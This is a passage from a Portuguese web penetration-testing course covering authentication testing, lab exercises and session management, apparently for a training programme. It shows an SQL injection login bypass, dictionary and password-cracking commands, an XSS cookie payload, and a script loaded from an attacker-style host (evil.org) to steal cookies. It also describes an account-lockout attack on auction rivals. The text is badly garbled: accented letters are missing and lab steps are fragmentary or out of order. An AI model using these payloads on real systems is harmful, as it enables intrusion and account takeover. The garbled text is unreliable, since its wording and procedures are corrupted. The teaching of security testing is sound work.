ineficazes, pois as senhas deixam de ser encontradas nas listas de palavras normalmente empregadas. Para testar esse requisito, deve-se tentar fornecer senhas que no satisfaam as regras estabelecidas, nas telas de cadastro de contas e alterao de senhas. Se a validao da complexidade for executada no lado cliente da aplicao, um proxy de interceptao deve ser utilizado.
Troca peridica
O principal objetivo desse requisito reduzir o tempo em que uma conta comprometida pode ser utilizada pelo atacante, nos casos em que o fato no percebido pelo usurio. A frequncia com que a troca deve ocorrer, todavia, um ponto controverso, pois, se for muito alta, pode favorecer o esquecimento da senha e criar um novo problema. Por exemplo, se a cada 15 dias o usurio for obrigado a escolher uma nova senha, as chances de ele escrev-la em algum lugar so grandes. Desse modo, na prtica, os padres e normas de segurana adotam um prazo balanceado para troca, que varia de 60 a 90 dias. A melhor maneira de testar esse item por meio de inspeo de cdigo, em um teste caixa-branca.
Histrico
Impedir que o usurio troque a senha, para qualquer uma das n ltimas que tenha utilizado, visa evitar que credenciais comprometidas voltem a ser empregadas e que a senha atual seja mantida, por meio de trocas imediatas. Para validar esse requisito, basta tentar alterar a senha para um dos valores contidos no histrico e observar se o sistema probe ou no a operao.
Bloqueio de contas
Quando uma srie de tentativas malsucedidas de autenticao com a mesma conta for detectada, ela deve ser imediatamente bloqueada, pois um ataque de fora bruta pode estar sendo executado. Aps um tempo, que deve aumentar a cada ocorrncia, a conta deve ser automaticamente destravada, para evitar ataques de negao de servio contra os usurios da aplicao. Alternativamente, o desbloqueio pode ser realizado pelo administrador do sistema, mediante solicitao formal do usurio. A validao desse controle consiste
Teste de Invaso de Aplicaes Web
na submisso consecutiva de senhas incorretas para uma dada conta e a observao do comportamento da aplicao frente situao. Note, entretanto, que isso pode resultar em perda de acesso e, por isso, no recomendvel em testes caixa-preta, salvo se for executado ao final do trabalho.
118
2. Sempre que um usurio efetuar um lance, o programa trava a conta correspondente, por
meio de tentativas deliberadamente invlidas de autenticao, com o identificador do concorrente. Isso faz com que a vtima perca tempo, tentando desbloquear a conta que utiliza.
3. Prximo da hora de encerramento do leilo, o programa realiza um lance automtico, com
valor um centavo maior que o oferecido at ento, desde que no ultrapasse um limiar pr-definido pelo atacante.
4. Se ningum conseguir efetuar um lance adicional, no pouco tempo restante, o ataque
bem-sucedido e o objeto, adquirido. Observe que a grande vulnerabilidade desse cenrio que a aplicao revela a lista completa de identificadores dos usurios que concorrem pelo mesmo item. Se o atacante no tivesse essa informao, no seria capaz de bloquear os usurios necessrios.
Engenharia social
Mesmo hoje em dia, o maior problema de sistemas de autenticao de usurios no de origem tcnica, mas, sim, de natureza humana. Por maior que seja a divulgao dos cuidados que devem ser tomados pelas pessoas no
mundo virtual, muitas delas ainda so vtimas de golpes enviados por correio eletrnico ou disseminados por sites nada idneos. Todos os dias, dezenas de mensagens no solicitadas chegam s caixas de correio, com o objetivo de convencer o usurio a visitar alguma pgina maliciosa ou abrir os anexos recebidos. Para isso, exploram a curiosidade e o medo, caractersticos dos seres humanos, por meio de engenharia social. Por exemplo, fotos sobre que tentam visualiz-las a qualquer custo, expondo-se a riscos desnecessrios. A Figura 3.23, por sua vez, ilustra uma pgina falsificada de um banco, que supostamente perdeu a base de usurios e requer, por isso, que recadastrem a cartela de chaves de segurana e a senha do carto, sob pena de terem a conta bloqueada.
Captulo 3 - Teste do mecanismo de autenticao
artistas, desastres naturais e escndalos sexuais sempre despertam a ateno das pessoas,
119
Algumas vezes, o contratante de um teste de invaso solicita que a postura de segurana de seus colaboradores seja avaliada, como uma maneira de validar a eficcia da poltica de segurana vigente. Nesse contexto, desde que se tenha autorizao por escrito, tcnicas de engenharia social, como as implcitas nos cenrio acima, devem ser empregadas. Vejamos alguns testes que podem ser realizados:
Contramedidas
Os seguintes controles devem ser considerados para evitar vulnerabilidades no mecanismo de autenticao:
1 No permita identificadores de usurio repetidos na aplicao. 1 Remova, das reas acessveis pelo servidor web, arquivos que contenham credenciais
de acesso ao sistema e infraestrutura subjacente.
120
1 Remova, das pginas HTML e dos arquivos de cdigo-fonte, comentrios que contenham informaes de autenticao.
1 Para contas criadas automaticamente pela aplicao, atribua uma senha inicial aleatria e obrigue a troca no primeiro acesso.
1 Informe ao usurio, logo no incio de uma sesso, a data e hora da ltima vez em que
se conectou com sucesso.
1 Quando a autenticao falhar, exiba apenas uma mensagem de erro genrica. Nunca
informe se o identificador de usurio no existe ou se a senha incorreta. Adote estratgia similar para mecanismos de recuperao de senha.
1 Se a aplicao possuir uma funcionalidade Lembrar Usurio, nunca memorize credenciais completas, que o permitam conectar-se aplicao, sem fornecimento de senha.
1 Nunca confie em parmetros que podem ser alterados pelos usurios para decidir se
esto ou no autenticados.
1 Fornea a pgina de autenticao ao usurio somente por meio do protocolo HTTPS. 1 Sempre transmita credenciais de acesso por tneis protegidos criptograficamente. 1 Nunca submeta formulrios de autenticao por meio do mtodo GET. Igualmente,
no passe credenciais pela URL em processos de redirecionamento.
1 Configure o lado servidor dos tneis criptogrficos, de acordo com as melhores pr1 Se um erro inesperado ocorrer, a aplicao deve permanecer em um estado seguro. 1 Valide a entrada imediatamente antes de process-la, de modo que o formato esperado seja respeitado.
Captulo 3 - Teste do mecanismo de autenticao
1 Exija sempre o fornecimento da senha atual para efetuar a troca de senha de um usurio. 1 Em mecanismos de autenticao baseados em mltiplos fatores, sempre verifique
que todas as etapas esperadas foram corretamente validadas. Toda informao relacionada ao processo de autenticao deve ser mantida no servidor, exclusivamente.
121
1 Nunca armazene as senhas em claro. Em vez disso, adicione a elas 128 bits de salt
e guarde apenas o hash criptogrfico do valor resultante, como validador de cada conta. Para os casos em que o nmero de senhas muito pequeno, empregue cifras probabilsticas, em vez de funes de hash criptogrficas, para evitar ataques de varredura completa do domnio.
1 No exiba um identificador de usurio para outras pessoas que no ele prprio. 1 Implante uma poltica de segurana e conscientize todos os usurios. 1 Registre em trilhas de auditoria todas as tentativas vlidas e invlidas de autenticao,
incluindo o identificador de usurio, data, hora, aplicao e endereo de origem.
122
Roteiro de Atividades 3
Atividade 1 Tecnologias de autenticao
Esta atividade tem por objetivo abordar tecnologias de autenticao empregadas em aplicaes web, dando base para que o aluno realize as atividades de descoberta de vulnerabilidades e explorao. Para inici-la, carregue as mquinas virtuais do aluno e do servidor (Fedora) e execute os roteiros na primeira delas.
1 Qual o protocolo utilizado no carregamento da pgina de autenticao? 1 Que tipo de mecanismo de autenticao empregado? 1 Como o processo de recuperao de senhas? 1 A aplicao utiliza uma poltica de senhas fortes? Quais so os critrios adotados? 1 Como as senhas so protegidas durante o armazenamento? 1 As credenciais de acesso so enviadas por canal seguro? 1 Existe uma funcionalidade para lembrar o usurio?
em Clear Now.
5. Clique no cone de recarregar a pgina. 6. Na janela que aparece, escolha ESR User e clique em Ok. Veja que o usurio foi autenticado
7. Feche o navegador.
123
~$ curl http://mutillidae.esr.rnp.br/robots.txt
Observe que h um diretrio /passwords e um arquivo config.inc.
3. Encerre a janela de terminal. 4. Inicie o Firefox, presente no menu Aplicativos\Internet. 5. Acesse http://mutillidae.esr.rnp.br/passwords. 6. Visualize o contedo do arquivo accounts.txt. 7. Anote as senhas dos usurios admin e john. 8. Acesse http://mutillidae.esr.rnp.br. 9. Clique em Login. 10. Tente se conectar como o usurio admin e veja a mensagem no topo da tela. 11. Clique novamente em Login e repita o passo anterior, para o usurio ed.
forem solicitados.
13. Clique em Start WebGoat. 14. No menu, ao lado esquerdo, clique em Code Quality e, depois, em Discover Clues in the HTML. 15. Visualize o cdigo-fonte da pgina, pressionando Ctrl + U. 16. Pressione Ctrl + F, para realizar uma busca, e digite <!-- no campo Find. 17. Clique repetidamente em Next at encontrar alguma informao interessante. 18. Feche a janela de cdigo-fonte. 19. Tente se autenticar com as credenciais encontradas. 20. O exerccio finalizado com sucesso e a mensagem * Congratulations. You have successfully
Teste de Invaso de Aplicaes Web
http://exemplo.esr.rnp.br:8080/manager/html
124
3. Tente se autenticar com uma das senhas fornecidas na Tabela 5. 4. Acesse a aplicao phpMyAdmin em http://pma.esr.rnp.br. 5. Tente se autenticar com a senha fornecida na Tabela 5. 6. Encerre o Firefox.
~$ curl http://form-auth.esr.rnp.br
17. Visualize o script de enumerao e como os elementos identificados no passo anterior
so utilizados:
~$ cat enumerate
18. Visualize a lista de identificadores de usurio:
~$ cat ids
125
~$ ./enumerate
Foi possvel encontrar credenciais completas no teste?
8. Encerre o Firefox.
turar os pacotes, a aplicao deve ser executada em modo privilegiado e, por isso, uma senha ser solicitada. Digite esruser e clique em Ok.
3. Clique no primeiro cone da barra de ferramentas, para listar as interfaces de rede dis-
ponveis para captura. Na caixa de dilogo que aparece, clique em Options da linha eth1. Em seguida, no campo Capture filter, digite tcp port http e clique em Start, para iniciar a
Teste de Invaso de Aplicaes Web
captura de pacotes.
4. Acesse com o Firefox a pgina http://form-auth.esr.rnp.br/. 5. Digite admin nos campos Usurio e Senha e clique em Login. 6. Pare a captura de pacotes no Wireshark, clicando no quarto boto da barra de ferra-
interfaces de rede disponveis para captura. Na caixa de dilogo que aparece, clique em Options da linha eth1. Em seguida, no campo Capture filter, digite tcp port https e clique em Start para iniciar a captura de pacotes.
10. Clique em Continue without Saving. 11. Clique no boto Clear, ao lado do campo de filtragem. 12. Acesse com o Firefox a pgina https://w3s.esr.rnp.br/basic. 13. Digite esruser tanto para usurio como para senha e clique em Ok. 14. Pare a captura de pacotes no Wireshark, clicando no quarto boto da barra de ferra-
Authentication Scheme.
8. Digite webgoat e password para os campos User Name e Password, respectivamente, e
10. Retorne ao Firefox, digite webgoat para os campos User Name e Password e clique em Login. 11. A tela de interceptao do WebScarab aparece. Selecione a linha contendo a varivel
Password e clique em Delete. O objetivo induzir um erro na aplicao, devido falta de um parmetro esperado.
12. Clique em Accept Changes. O que acontece?
127
14. Clique no Multiproxy Switch, na barra de estado, e selecione None. 15. Encerre o WebScarab.
do Captulo 6.
21. Clique no boto Retornar do Firefox. 22. Digite or 1=1# no campo Name e qualquer valor no campo Password. 23. Clique em Submit. 24. Devido ao problema no tratamento das entradas, foi possvel se conectar como admin,
Level Login 1.
8. Digite Jane e tarzan nos campos Name e Password, respectivamente, e clique em Submit. 9. Fornea o TAN solicitado, a partir da lista apresentada na tela, e clique em Submit.
Teste de Invaso de Aplicaes Web
TAN Transaction Authorization Number uma senha descartvel, utilizada como segundo fator de autenticao, distribuda, normalmente no formato de uma cartela contendo vrios valores distintos. Cada usurio da aplicao recebe um conjunto diferente, gerado de maneira aleatria.
10. No menu do lado esquerdo, clique em Multi Level Login 2. 11. Digite Joe e banana nos campos Name e Password, respectivamente, e clique em Submit. 12. No WebScarab, clique na aba Proxy e marque Intercept Requests. 13. Retorne ao Firefox, digite o TAN solicitado, a partir da lista apresentada na tela, e clique
em Submit.
14. Altere o valor do parmetro hidden_user para Jane e clique em Accept changes. 15. Que vulnerabilidade permitiu a realizao do ataque?
128
16. No WebScarab, clique na aba Proxy e desmarque Intercept Requests. 17. Clique no Multiproxy Switch, na barra de estado, e selecione None. 18. Encerre o WebScarab e o Firefox.
Ataque de dicionrio
Ataques de dicionrio so mais eficientes que os de fora bruta, pois somente senhas provveis so testadas. Vejamos algumas ferramentas que podem ser utilizadas com esse propsito. Parte I Hydra e Medusa
1. Abra uma janela de terminal. 2. Digite o comando:
~$ cat ids
4. Visualize o contedo do arquivo pwds:
Captulo 3 - Roteiro de Atividades
~$ cat pwds
5. Veja as opes que podem ser utilizadas com o utilitrio Medusa:
~$ medusa
6. Para realizar um ataque de dicionrio contra o mtodo de autenticao Basic com o utili-
129
~$ hydra
8. Para realizar um ataque de dicionrio contra o mtodo de autenticao Digest com o
~$ curl http://form-auth.esr.rnp.br
Esse o mesmo formulrio utilizado no teste de enumerao.
10. Visualize o script de ataque de dicionrio e como os elementos identificados no passo
anterior so utilizados:
~$ cat dict
11. Execute o script de enumerao:
~$ ./dict
12. Encerre a janela de terminal.
~$ cat passwords
4. Veja as opes que podem ser utilizadas com o John the Ripper:
~$ john
5. Digite o comando abaixo para que o utilitrio tente efetuar a quebra do arquivo de senhas:
~$ john passwords
130
~$ ls l in.txt
9. Gere o MD5 do arquivo:
131
Bibliografia 3
1 DUC, Nguyen Minh e MIHN, Bui Quang. Your face is NOT your password Face
Authentication ByPassing Lenovo Asus Toshiba. Relatrio Tcnico, Bkis, 2009.
1 HAMANN, E.; HENN, Horst; SCHCK, Thomas e SELIGER, Frank. Securing e-business
applications using smart cards. IBM Systems Journal, Vol. 40, nmero 30, p. 635-647, maro de 2001.
1 HARRIS, Shon. All in One CISSP Exam Guide. McGraw Hill Osborne, 4 edio, 2008. 1 HELLMAN, Martin. A Cryptanalytic Time-Memory Trade-Off. In: IEEE Transactions on
Information Theory, volume 26, nmero 4, pginas 401-406, julho de 1980.
1 HOWARD, Michael; LEBLANC, David e VIEGA, John. 19 Deadly Sins of Software Security
Programming Flaws and How to Fix Them. McGraw-Hill/Osborne, 2005.
1 MEUCCI, Matteo et al. OWASP testing guide v3.0. OWASP, 2008. 1 OECHSLIN, Philippe. Making a Faster Cryptanalytic Time-Memory Trade-Off. In: Advances
in Cryptology CRYPTO 2003 23rd Annual International Cryptology Conference, volume 2729 de Lecture Notes in Computer Science, p. 617-630, Springer, 2003.
1 PCI. Payment Card Industry (PCI) Data Security Standard Requirements and Security
Assessment Procedures v. 1.2.1. PCI Security Standards Council, 2009.
1 STUTTARD, Dafydd e PINTO, Marcus. The Web Application Hackers Handbook. Wiley
Publishing, Inc., 2007.
1 ULUDAG, Umut e JAIN, Anil K. Attacks on Biometric Systems: A Case Study in Fingerprints.
In: Proceedings of SPIE-EI 2004, Security, Steganography and Watermarking of Multimedia Contents VI, vol. 5306, p. 622-633, San Jose, CA, janeiro de 2004.
132
4
Teste do gerenciamento de sesses
objetivos
Apresentar as vulnerabilidades que podem ocorrer no mecanismo de gerenciamento de sesses, assim como as tcnicas para detect-las e explor-las.
conceitos
Identificador de sesso, atributos de cookies, sequestro de sesso, fixao de sesso, cross site request forgery, token anti-CSRF, clickjacking.
Introduo
O protocolo HTTP no possui nenhum mecanismo nativo para manuteno de sesso, isso , no possvel relacionar requisies oriundas de um usurio especfico, como parte de uma nica conversao.
Embora isso no representasse um problema nos primrdios da web, quando apenas contedo esttico era disponibilizado, atualmente, para aplicaes cujo comportamento depende da interao com o usurio, tal caracterstica atua como um fator limitante. De modo a suprir essa lacuna, as linguagens de programao e arcabouos de desenvolvimento fornecem mecanismos que possibilitam criar e gerenciar sesses em sistemas web. O princpio bsico consiste na atribuio, pela aplicao web, de um identificador diferente a cada sesso iniciada pelos diversos usurios do sistema. Aquele valor deve, ento, ser enviado pelo navegador web, em todas as requisies subsequentes, para que
Captulo 4 - Teste do gerenciamento de sesses
possam ser devidamente identificadas, como parte de uma interao em andamento. H diversas abordagens que podem ser empregadas com esse propsito, as quais diferem com relao s vantagens e desvantagens apresentadas por cada um dos esquemas:
Cookies
Mtodo mais comumente utilizado e resume-se na definio do identificador de sesso, por meio de um cabealho Set-Cookie enviado como parte da resposta inicial da aplicao. Aps o recebimento deste, o navegador passa a enviar o cookie, automaticamente, em todas as requisies realizadas ao domnio e caminho para os quais foi definido. Segundo Kolek
133
(2007), das opes de gerenciamento de sesses, a mais conveniente, porque utiliza um mecanismo padro do protocolo HTTP, e a menos insegura, uma vez que no est sujeita a todos os ataques que afetam as demais solues. Um problema inerente a esse esquema, porm, que ele no funciona se o usurio desabilitar o suporte a cookies no navegador web. Exemplo:
Parmetros de URL
Consiste na adio dinmica do identificador de sesso, como um parmetro de URL, aos diversos links contidos na aplicao. Apresenta como vantagens o fato de funcionar, mesmo que cookies estejam desabilitados no navegador web, e de auxiliar colateralmente na preveno de ataques CSRF, discutidos adiante, neste captulo. Por outro lado, facilita o sequestro de sesso, uma vez que o identificador fica registrado em trilhas de auditoria e no histrico de navegao. Exemplo:
https://esr.rnp.br/script.do;sessionid=v4kQLNGhHKTT9YpTVJlqtMf6
Campos escondidos
Nesse caso, o identificador de sesso adicionado dinamicamente ao corpo das pginas da aplicao, como um campo escondido de formulrio, que submetido, automaticamente, junto com a requisio POST. O principal ponto positivo desse esquema que pode ser utilizado, independentemente do suporte a cookies pelo navegador web. Em contrapartida, pode apresentar os mesmos problemas que afetam o modelo baseado em parmetros de URL, caso a aplicao tambm aceite, como resultado de codificao insegura, o mtodo GET, em vez de POST, para envio do formulrio. Exemplo:
<form name=form1 method=post action=comprar.php> <input type=hidden name=sid value=v4kQLNGhHKTT9YpTVJlqt Mf6> <input type=submit name=Submit1 value=Comprar> </form>
Uma pergunta que pode ser feita nesse contexto resume-se ao que acontece quando a aplicao recebe um identificador de sesso desconhecido (Kolek, 2007). Se uma nova
Teste de Invaso de Aplicaes Web
sesso criada, a partir do valor recebido, como acontece com PHP, o gerenciamento de sesses chamado de permissivo. Se no, se o valor descartado e um novo identificador, gerado pelo sistema, atribudo sesso, o esquema considerado estrito, que o tipo adotado pela grande maioria das linguagens e arcabouos modernos. Independentemente da permissividade do esquema e do meio utilizado para o transporte do identificador, observe que nenhuma informao adicional, alm deste, necessria, para associar uma requisio a uma conversao especfica.
134
Desse modo, se um atacante consegue obter o identificador de uma sesso ativa, ele capaz de injetar requisies ilegtimas, que so tratadas como vlidas pela aplicao web. Obviamente, o impacto resultante de um ataque desse tipo, chamado de sequestro de sesso, maior quando o usurio j se encontra autenticado pelo sistema, pois, nesse caso, aes mais crticas podem ser realizadas. Vulnerabilidades que possibilitam a concretizao de tal cenrio incluem o uso de identifi-
cadores previsveis ou muito pequenos e a proteo inadequada desses valores, durante o ciclo de vida deles. Outra classe de ataque contra esquemas de gerenciamento de sesses, chamada de cross site request forgery (Meucci et al., 2008), faz com que o prprio usurio efetue uma operao vlida na aplicao, sem o conhecimento e anuncia dele. Nesse caso, o usurio malicioso no precisa obter um identificador de sesso para atacar a vtima. Basta induzi-la, por meio de engenharia social, ao clicar em um link ou abrir uma mensagem, especialmente preparados para disparar a ao desejada. Entretanto, isto deve ocorrer somente quando o usurio estiver com uma sesso ativa no sistema, para que o ataque funcione corretamente. Note que qualquer um dos ataques acima to crtico quanto aqueles contra os mecanismos de autenticao de usurios ou de autorizao, pois permitem que operaes sejam executadas ilegitimamente, sem o conhecimento de credenciais de acesso vlidas. Alm disso, considerando que, muitas vezes, a preocupao com a segurana do gerenciamento de sesses menor que a direcionada a essas outras reas, tais ataques podem apresentar eficcia maior, tornando-os bastante interessantes para um usurio malicioso. O objetivo deste captulo discutir os diversos problemas de segurana que podem ocorrer em mecanismos de gerenciamento de sesses, utilizados em aplicaes web. Tendo isso em mente, os seguintes tpicos so abordados neste texto: identificadores de sesso previsveis, domnio de identificadores com baixa cardinalidade, transmisso em claro de identificadores de sesso, manipulao por meio de scripts, atributos de cookies, sequestro de sesso, fixao de sesso, encerramento vulnervel de sesso, sesses simultneas, cross site request forgery e clickjacking.
135
1 Identificadores de sesso previsveis. 1 Domnio de identificadores com baixa cardinalidade. 1 Transporte inseguro de identificador. 1 Encerramento de sesso mal implementado.
Alm desses problemas de segurana, tambm so contemplados nesta seo os ataques cross site request forgery, fixao de sesso e clickjacking.
q q
1 Identificador de usurio.
Teste de Invaso de Aplicaes Web
1 Endereo de correio eletrnico. 1 Nome prprio do usurio. 1 Endereo de rede da mquina cliente.
Para ilustrar a fraqueza, considere que uma aplicao atribua ao usurio Fulano de Andrade um identificador SID=2011-05-27.Fulano.Andrade. Com uma breve anlise, fcil deduzir que a regra de formao adotada consiste na concatenao da data de acesso com o nome e o sobrenome da pessoa autenticada. Supondo que o nome de um administrador do sistema seja Beltrano Sousa, pode-se construir o identificador SID=2011-05-27.Beltrano.Sousa e utiliz-lo, para acessar o sistema com a conta privilegiada. Note que o processo pode ser repetido para qualquer conta do ambiente, bastando para isso saber o nome completo da vtima.
136
Mesmo quando esse tipo de informao no empregado na composio dos identificadores de sesso, qualquer tipo de padro perceptvel suficiente para o comprometimento do sistema. Um exemplo extremo, mas encontrado s vezes em ambientes reais, consiste no uso de
Funo afim Funo matemtica da forma f(x1, ..., xn) = a1x1 + ... + anxn + b, cujos coeficientes podem ser valores escalares ou matrizes.
nmeros consecutivos ou definidos por uma funo afim especfica. Nesses casos, qualquer tipo de anlise que seja realizada capaz de detectar o padro empregado. Eventualmente, os nmeros passam por algum tipo de codificao, antes de serem transformados em identificadores de sesso. Por exemplo, considere a sequncia:
137
sid = convertToHex(sha256(sid));
Isso muda completamente o cenrio, pois cada valor gerado com base no anterior, por meio da aplicao da funo de hash criptogrfica SHA-256. Desse modo, embora no seja possvel obter os identificadores anteriores ao atribudo a um dado usurio, em decorrncia da propriedade de resistncia da pr-imagem, muito fcil calcular os valores futuros. Pode-se argumentar que esse ataque no relevante, porque necessita que o adversrio tenha acesso ao cdigo fonte da aplicao, para que se obtenha sucesso. Porm, do ponto de vista de segurana, isso no aceitvel, uma vez que configura proteo por obscuridade. Como muitas vezes no fcil realizar a anlise manual da aleatoriedade dos identificadores de sesso, recomenda-se fortemente a utilizao de programas automatizados, que executem testes estatsticos sobre a amostragem coletada (Barrall, 2005). Entre as ferramentas dessa natureza, duas muito interessantes so:
SHA-256 Funo de hash criptogrfica, desenvolvida pela NSA, que faz parte da famlia SHA-2 e mapeia cadeias binrias de tamanho arbitrrio para valores de 256 bits. FIPS 140-2 Padro que determina os requisitos de segurana que devem ser atendidos por mdulos criptogrficos utilizados em solues de proteo de informaes sensveis. PRNG Algoritmo determinstico que, a partir de uma sequncia de bits verdadeiramente aleatria de comprimento k, gera uma sequncia de bits muito maior que k, a qual satisfaz os requisitos de aleatoriedade verificados por testes estatsticos, criados especialmente para validao de tal propriedade.
1 WebScarab 1 Stompy
WebScarab
Essa sute integrada de testes possui a funcionalidade SessionID Analysis, que coleta a quantidade especificada de identificadores e os transforma em nmeros, para que sejam plotados em um grfico em funo do tempo. Caso exista uma relao entre os valores analisados, espera-se que ela seja evidenciada graficamente, de modo a ser percebido pelo analista de segurana. A Figura 4.1 e a Figura 4.2 ilustram, respectivamente, identificadores de sesso de um sistema robusto e de outro vulnervel.
Stompy
Software livre criado por Michal Zalewski, que pode ser utilizado para avaliar a qualidade de identificadores de sesso e de outros elementos que requeiram unicidade, por meio de diversos testes estatsticos, inclusive os especificados pelo padro desenvolvido pelo governo americano, Federal Information Processing Standards 140-2(FIPS 140-2), usado na anlise de Pseudorandom Number Generator (PRNG). Esse utilitrio escrito em linguagem
Teste de Invaso de Aplicaes Web
C e para ser compilado requer as bibliotecas The GNU Multiple Precision Arithmetic Library (GNU MP) e OpenSSL. A Figura 4.3 e a Figura 4.4 apresentam, respectivamente, os resultados da execuo do Stompy contra os mecanismos da Figura 4.1 e Figura 4.2.
GNU MP Tambm conhecida por GMP, uma biblioteca livre voltada para aritmtica de preciso arbitrria sobre nmeros inteiros, racionais e de ponto flutuante.
138
~$ stompy http://dvwa.esr.rnp.br Session Stomper 0.04 by <lcamtuf@coredump.cx> --------------------------------------------Start time : 2011/07/28 22:51
Captulo 4 - Teste do gerenciamento de sesses
... [*] Running 6D spectral test (2 bit window)... PASSED [*] Running spatial correlation checks... PASSED
139
RESULTS SUMMARY: Alphabet-level : 0 anomalous bits, 128 OK (excellent). Bit-level : 0 anomalous bits, 128 OK (excellent).
~$ stompy -p /tmp/wacko.req http://wackopicko.esr.rnp.br Session Stomper 0.04 by <lcamtuf@coredump.cx> --------------------------------------------Start time : 2011/07/28 22:57
=> Target acquired, ready to issue test requests. ... [*] Running spatial correlation checks... FAILED ... WARNING: Entropy loss estimate: 0.15 bits (13.85 OK - very trivial!)
RESULTS SUMMARY: Alphabet-level : 14 anomalous bits, 0 OK (deterministic?). Bit-level : 14 anomalous bits, 0 OK (deterministic?).
Figura 4.4 Anlise de um mecanismo vulnervel de gerao de identificadores de sesso realizada pelo utilitrio Stompy.
140
Por exemplo, se nmeros de 16 bits so empregados, a cardinalidade do conjunto igual a 65536, e a chance de adivinhar um identificador vlido tende a 100%, medida que o nmero de sesses ativas se aproxima daquele valor. Com base nesse cenrio, a Figura 4.5 ilustra a anlise realizada pelo Stompy sobre uma sequncia de nmeros de 16 bits. Note que a entropia mxima estimada para os valores de 17,01 bits, a qual rotulada como muito trivial pela ferramenta. Em outras palavras, isso significa que ataques baseados em adivinhao podem ser executados sem esforo significativo.
Start time
: 2011/07/29 00:24
=> Target acquired, ready to issue test requests. ... [+] Alphabet structure summary: A[011]=00004 A[009]=00001 WARNING: Theoretical maximum entropy: 17.01 bits (very trivial!) ... WARNING: Entropy loss estimate: 0.48 bits (16.52 OK - very trivial!)
RESULTS SUMMARY: Alphabet-level : 17 anomalous bits, 0 OK (deterministic?). Bit-level : 5 anomalous bits, 12 OK (very trivial!).
Captulo 4 - Teste do gerenciamento de sesses
ANOMALY MAP:
Figura 4.5 Anlise de uma sequncia de nmeros de 16 bits.
141
A Figura 4.6 ilustra uma requisio GET, contendo um cabealho Cookie, a qual foi obtida com a ferramenta Wireshark por meio da escuta da rede. Isso indica claramente que tais tipos de informao no podem ser enviados por HTTP simples, principalmente, se forem referentes a sesses de usurios autenticados. Alm disso, importante mencionar que, para um atacante estrategicamente posicionado, a execuo do ataque no apresenta nenhuma dificuldade. Uma vulnerabilidade que ocorre com frequncia em sistemas de produo consiste no uso de um nico identificador de sesso, por usurio, para as mensagens trocadas antes e depois da autenticao. Como essas ltimas, incluindo as credenciais de acesso, trafegam por canais seguros, acredita-se, erroneamente, que no h impacto segurana do esquema. Entretanto, basta que um atacante capture o identificador em um momento anterior ao estabelecimento do tnel HTTPS, para que seja possvel se apoderar da comunicao ulteriormente. Desse modo, fica claro, a partir desse cenrio, que um novo identificador de sesso deve ser atribudo ao usurio, sempre que houver mudana no nvel de privilgios do acesso. Observe que, em alguns casos, isso no envolve necessariamente o processo de autenticao. Por exemplo, considere os sites de companhias areas, as quais no requerem que os clientes possuam uma conta cadastrada, para realizar a compra de passagens. Mesmo que credenciais no sejam solicitadas pela aplicao, informaes sensveis, como as de carto de crdito, so enviadas, durante a etapa de pagamento, a qual estabelece uma fronteira clara entre diferentes nveis de proteo exigida. O teste que deve ser realizado para verificar a existncia dessa fraqueza simples e resume-se aos seguintes passos:
1 Navegao nas diversas reas pblicas da aplicao, verificando, com auxlio de um proxy
de interceptao ou outra ferramenta, o(s) identificador(es) de sesso atribudo(s).
1 Mudana do nvel de acesso, por meio da autenticao do usurio ou uso de opes que
manipulem informaes sensveis.
142
Por exemplo, caso seja possvel injetar Javascript em uma aplicao, como acontece em ataques cross-site scripting (Captulo 5), pode-se exibir o cookie por meio do cdigo:
<script>alert(document.cookie)</script>
Obviamente, isso serve apenas como prova de conceito, pois exibir o cookie para o usurio no representa nenhuma vantagem para o atacante.
DHTML Consiste na criao dinmica de pginas interativas, por meio de tecnologias como HTML, DOM, Javascript e CSS.
Porm, empregando Dynamic HTML (DHTML), possvel incluir elementos na pgina, de maneira dinmica, que podem ser utilizados para enviar o identificador a um domnio controlado pelo usurio malicioso. O cdigo abaixo realiza essa tarefa, por meio da insero de uma imagem, cujo atributo origem o domnio www.evil.org. Note que o cookie anexado como parte da URL do recurso, durante a construo do elemento.
143
Surpreendentemente, a poltica no se aplica a scripts externos carregados por meio do atributo src do marcador script, desde que presente no mesmo documento. Por exemplo, os objetos de uma pgina oriunda de http://www.esr.rnp.br so acessveis a um script evil.js, de outra origem, se aquela o carrega, empregando um elemento <script src=http://www.evil.org/evil.js>.
Atributos de cookies
A proteo de cookies pode ser complementada por meio da definio de alguns atributos, que orientam como aqueles devem ser tratados pelos navegadores web (Palmer, 2008). O emprego equivocado dessas opes, entretanto, pode favorecer o comprometimento de identificadores de sesso e outros dados transportados por esse meio. Assim, a utilizao criteriosa dos seguintes atributos importante para a segurana do mecanismo de gerenciamento de sesses:
1 Domain (cadeia de caracteres). 1 Path (cadeia de caracteres). 1 Secure (booleano). 1 HttpOnly (booleano).
Domain
O atributo domain estipula para quais domnios o navegador web deve enviar o cookie, como parte da requisio.
Por exemplo, considere que uma resposta do servidor inclua o cabealho abaixo ilustrado:
Path
Considere que uma aplicao localizada em um diretrio /caminho/para/app defina um cookie qualquer. O comportamento padro do navegador consiste em envi-lo, em requisies subsequentes, somente para recursos sob /caminho/para/app. Para alterar esse modo de operao, possvel empregar o atributo path e especificar um caminho diferente, conforme ilustrado pelo seguinte cabealho:
144
cookie seria submetido em quaisquer requisies para o domnio de definio. De um ponto de vista de segurana, isto no bom, sendo melhor, portanto, ser o mais restritivo possvel. Assim, cabe aqui o princpio de conhecimento por necessidade, segundo o qual, quaisquer informaes, inclusive cookies, devem ser acessveis, apenas pelas entidades que precisam delas.
Secure
O atributo secure informa ao navegador web que o cookie contm informaes sensveis e, por isso, no deve ser enviado, por meio de conexes desprotegidas. Se secure no for empregado, caso alguma pgina privilegiada seja requisitada, por defeito na construo, via protocolo HTTP simples, o cookie trafegar em claro pela rede. Embora, de modo geral, os navegadores web avisem quando uma pgina carregada por HTTPS contm itens inseguros, depender disso no ideal, pois usurios tendem a ignorar tais tipos de mensagem. Um exemplo simples de uso de secure dado a seguir:
HttpOnly
O atributo HttpOnly, introduzido pela Microsoft, tem por objetivo impedir que cookies sejam manipulados por scripts no lado cliente da aplicao. Dessa maneira, quando a opo utilizada, document.cookie no capaz de ler o valor do
elemento, dificultando que seja capturado por um usurio malicioso. Dada essa vantagem e considerando que atualmente suportado pela maioria dos navegadores, o uso de HttpOnly recomendado, para proteo de identificadores de sesso transportados por cookies. Isso pode ser realizado por meio de um cabealho como o ilustrado a seguir:
} </script>
Roteiro de teste
Em um teste de invaso, o roteiro apresentado abaixo pode ser empregado para detectar fraquezas no uso de atributos de cookies:
1. Durante a fase de mapeamento, identifique todos os cookies definidos pela aplicao.
145
